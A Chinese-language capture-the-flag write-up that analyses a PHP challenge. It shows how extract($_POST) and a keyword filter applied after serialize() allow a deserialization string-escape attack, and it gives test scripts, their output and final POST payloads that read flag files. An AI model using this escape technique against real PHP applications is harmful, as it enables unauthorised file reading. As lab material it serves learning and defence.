源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>
分析1:
将’php’,‘flag’,‘php5’,‘php4’,'fl1g’等字符串置空
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
分析2:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
等价于:
extract($_POST);
无论输入什么都会被重置
分析3:
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
按代码顺序,无论输入什么,后面都会添加一个$_SESSION[‘img’]
分析4:
if($function == 'highlight_file'){//本页面
highlight_file('index.php');
}else if($function == 'phpinfo'){//hint
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){//flag所在
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
知识点1:
extract()函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
知识点2:
反序列化的字符串会进行以下规则校验:
- 以 ; 作为字段分隔
- 以 } 作为结尾(字符串以 ;} 结尾)
- 根据长度判断内容
因此我们可以利用过滤的字符串长度,逃逸,提前闭合。
解题步骤1:
传参f=phpinfo
,发现重要线索。
也就是说需要传入d0g3_f1ag.php
,即需要显示的页面。
解题步骤2:
构造需要逃逸的内容
<?php
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');
$a=serialize($_SESSION);
var_dump($a);
?>
结果:
string(44) "a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
将无用的值去除
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
添加前一个键的值,该值任意
;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
解题步骤3:
加上任意键
<?php
$_SESSION['a']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a=serialize($_SESSION);
var_dump($a);
?>
结果:
string(70) "a:1:{s:1:"a";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"
如果键被过滤置空,需要将";s:48:
7个字符当成键,所以应当使键向后取7个字符
即键应当被过滤7个字符,任意组合phpflag,phpfl1g等等都可。
解题步骤4:
进行过滤逃逸测试
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['phpfl1g']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$a=serialize($_SESSION);
var_dump($a);
var_dump(unserialize($a));
$b=filter($a);
var_dump($b);
var_dump(unserialize($b));
?>
结果:
string(114) "a:2:{s:7:"phpfl1g";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {
'phpfl1g' =>
string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
'img' =>
string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {
'";s:48:' =>
string(1) "1"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
}
解题步骤5:
构造playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看网页源代码
解题步骤6:
将需要传入的页面替换成/d0g3_fllllllag
只需将上述过程再来一遍即可。
最后发现也可以直接替换base64加密后的字符串即可
playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}